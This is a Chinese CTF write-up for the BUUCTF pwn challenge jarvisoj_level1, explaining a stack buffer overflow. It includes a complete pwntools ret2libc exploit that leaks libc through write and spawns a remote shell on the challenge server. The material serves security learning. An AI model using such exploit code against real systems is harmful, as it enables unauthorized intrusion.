[BUUCTF]PWN——jarvisoj_level1

jarvisoj_level1

例行检查,32位,未开启任何保护。
在这里插入图片描述
运行一下,给了一个地址 0xffef96b0
在这里插入图片描述
用IDA打开,查看主函数
在这里插入图片描述
查看function函数。由此我们可以知道 bufadddr= 0xffef96b0,
在这里插入图片描述
buf存在溢出漏洞。由于题目并没有开启任何保护。所以我们可以先通过read读入shellcode,然后利用溢出漏洞将ret覆盖为buf参数地址(此时buf里是shellcode)去执行即可获取shell。
远程连接不会回显buf的地址上述的方法只能本地打通
查看了别人的wp才知道还是得用ret2libc的方法

from pwn import *
from LibcSearcher import *

r = remote('node3.buuoj.cn',26135)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
write_addr = u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')

system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/BangSen1/article/details/115359395